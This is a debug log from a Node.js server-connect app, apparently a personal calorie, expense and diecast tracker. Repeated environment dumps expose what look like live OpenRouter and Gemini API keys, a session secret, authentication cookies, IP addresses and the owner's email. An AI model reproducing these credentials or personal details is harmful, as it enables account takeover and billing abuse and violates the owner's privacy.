    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '65.21.215.19',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T10:09:22.806Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.21.215.19',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '65.21.215.19',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-17T10:09:49.475Z server-connect:router Serving templateView /
2025-12-17T10:09:49.475Z server-connect:app Executing action step identify
2025-12-17T10:09:49.475Z server-connect:app options: { provider: 'security' }
2025-12-17T10:09:49.475Z server-connect:auth No login cookie found
2025-12-17T10:09:49.475Z server-connect:output identity: false
2025-12-17T10:09:49.475Z server-connect:app Executing action step restrict
2025-12-17T10:09:49.476Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:09:49.476Z server-connect:output restrict: undefined
2025-12-17T10:09:49.936Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-17T10:09:51.503Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-17T10:09:52.321Z server-connect:setup:upload Upload middleware configured.
2025-12-17T10:09:52.322Z server-connect:secure CSRF Protection initialized
2025-12-17T10:09:52.327Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-17T10:09:52.328Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-17T10:09:52.329Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-17T10:09:52.329Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-17T10:09:52.335Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-17T10:09:52.338Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-17T10:09:52.348Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-17T10:09:52.362Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-17T10:09:52.366Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-17T10:09:52.372Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-17T10:09:52.382Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-17T10:09:52.384Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-17T10:09:52.392Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-17T10:09:52.393Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-17T10:09:52.398Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-17T10:09:52.398Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-17T10:09:52.404Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-17T10:09:52.409Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-17T10:09:52.415Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-17T10:09:52.417Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-17T10:09:52.423Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-17T10:09:52.429Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-17T10:09:52.431Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-17T10:09:52.436Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-17T10:09:52.439Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-17T10:09:52.443Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-17T10:09:52.445Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-17T10:09:52.445Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-17T10:09:52.453Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-17T10:09:52.453Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-17T10:09:52.457Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-17T10:09:52.952Z server-connect:router Serving templateView /login
2025-12-17T10:09:52.962Z server-connect:app Executing action step identify
2025-12-17T10:09:52.962Z server-connect:app options: { provider: 'security' }
2025-12-17T10:09:52.964Z server-connect:auth No login cookie found
2025-12-17T10:09:52.965Z server-connect:output identity: false
2025-12-17T10:09:52.965Z server-connect:router Render template layouts/authentication
2025-12-17T10:09:52.965Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '65.21.215.19',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T10:09:52.950Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.21.215.19',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '65.21.215.19',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-17T10:09:53.155Z server-connect:app Executing action step identify
2025-12-17T10:09:53.155Z server-connect:app options: { provider: 'security' }
2025-12-17T10:09:53.155Z server-connect:output identity: 1
2025-12-17T10:10:05.751Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-17T10:10:05.967Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-17T10:10:06.073Z server-connect:setup:upload Upload middleware configured.
2025-12-17T10:10:06.074Z server-connect:secure CSRF Protection initialized
2025-12-17T10:10:06.078Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-17T10:10:06.078Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-17T10:10:06.079Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-17T10:10:06.079Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-17T10:10:06.079Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-17T10:10:06.080Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-17T10:10:06.081Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-17T10:10:06.081Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-17T10:10:06.082Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-17T10:10:06.082Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-17T10:10:06.082Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-17T10:10:06.082Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-17T10:10:06.083Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-17T10:10:06.083Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-17T10:10:06.084Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-17T10:10:06.084Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-17T10:10:06.084Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-17T10:10:06.084Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-17T10:10:06.085Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-17T10:10:06.085Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-17T10:10:06.085Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-17T10:10:06.085Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-17T10:10:06.086Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-17T10:10:06.086Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-17T10:10:06.086Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-17T10:10:06.087Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-17T10:10:06.087Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-17T10:10:06.087Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-17T10:10:06.088Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-17T10:10:06.088Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-17T10:10:06.088Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-17T10:10:06.227Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T10:10:06.232Z server-connect:app Executing action step identify
2025-12-17T10:10:06.233Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:06.235Z server-connect:output identity: 1
2025-12-17T10:10:06.235Z server-connect:app Executing action step restrict
2025-12-17T10:10:06.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:06.239Z server-connect:output restrict: undefined
2025-12-17T10:10:06.366Z server-connect:app Executing action step processWithGemini
2025-12-17T10:10:06.366Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T10:10:06.905Z server-connect:app Executing action step identify
2025-12-17T10:10:06.906Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:06.906Z server-connect:output identity: 1
2025-12-17T10:10:07.969Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Papaya',
      quantity: '4 slices',
      calories_consumed: 100,
      total_calories: 100,
      protein: 1.5,
      carbs: 25,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: {
    protein: { value: 1.5, unit: 'g' },
    carbs: { value: 25, unit: 'g' },
    fat: { value: 0.5, unit: 'g' }
  }
}
2025-12-17T10:10:11.560Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T10:10:11.560Z server-connect:app Executing action step identify
2025-12-17T10:10:11.560Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:11.560Z server-connect:output identity: 1
2025-12-17T10:10:11.560Z server-connect:app Executing action step restrict
2025-12-17T10:10:11.561Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:11.561Z server-connect:output restrict: undefined
2025-12-17T10:10:11.562Z server-connect:app Executing action step condition
2025-12-17T10:10:11.563Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T10:10:11.563Z server-connect:app Executing action step repeat
2025-12-17T10:10:11.563Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T10:10:11.564Z server-connect:app Executing action step insert
2025-12-17T10:10:11.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T10:10:11.568Z server-connect:output calories: { affected: 1, identity: 427 }
2025-12-17T10:10:11.569Z server-connect:output repeat: [ {} ]
2025-12-17T10:10:11.569Z server-connect:output condition: undefined
2025-12-17T10:10:11.778Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T10:10:11.778Z server-connect:app Executing action step identify
2025-12-17T10:10:11.778Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:11.778Z server-connect:output identity: 1
2025-12-17T10:10:11.778Z server-connect:app Executing action step restrict
2025-12-17T10:10:11.778Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:10:11.779Z server-connect:output restrict: undefined
2025-12-17T10:10:11.779Z server-connect:router Render template layouts/main
2025-12-17T10:10:11.780Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T10:10:11.985Z server-connect:app Executing action step identify
2025-12-17T10:10:11.985Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:11.985Z server-connect:output identity: 1
2025-12-17T10:10:13.537Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T10:10:13.537Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T10:10:13.540Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T10:10:13.541Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T10:10:13.541Z server-connect:app Executing action step identify
2025-12-17T10:10:13.541Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:13.541Z server-connect:output identity: 1
2025-12-17T10:10:13.542Z server-connect:app Executing action step restrict
2025-12-17T10:10:13.542Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:13.542Z server-connect:app Executing action step identify
2025-12-17T10:10:13.542Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:13.543Z server-connect:output identity: 1
2025-12-17T10:10:13.543Z server-connect:app Executing action step restrict
2025-12-17T10:10:13.543Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:13.543Z server-connect:output restrict: undefined
2025-12-17T10:10:13.545Z server-connect:app Executing action step single
2025-12-17T10:10:13.546Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T10:10:13.547Z server-connect:app Executing action step identify
2025-12-17T10:10:13.547Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:13.548Z server-connect:output identity: 1
2025-12-17T10:10:13.548Z server-connect:app Executing action step restrict
2025-12-17T10:10:13.548Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:10:13.549Z server-connect:output restrict: undefined
2025-12-17T10:10:13.549Z server-connect:app Executing action step select
2025-12-17T10:10:13.549Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T10:10:13.551Z server-connect:app Executing action step identify
2025-12-17T10:10:13.551Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:13.551Z server-connect:output identity: 1
2025-12-17T10:10:13.551Z server-connect:app Executing action step restrict
2025-12-17T10:10:13.551Z server-connect:app options: { provider: 'security' }
2025-12-17T10:10:13.551Z server-connect:output restrict: undefined
2025-12-17T10:10:13.551Z server-connect:app Executing action step single
2025-12-17T10:10:13.551Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T10:10:13.555Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T10:10:13.557Z server-connect:output restrict: undefined
2025-12-17T10:10:13.557Z server-connect:app Executing action step single
2025-12-17T10:10:13.557Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
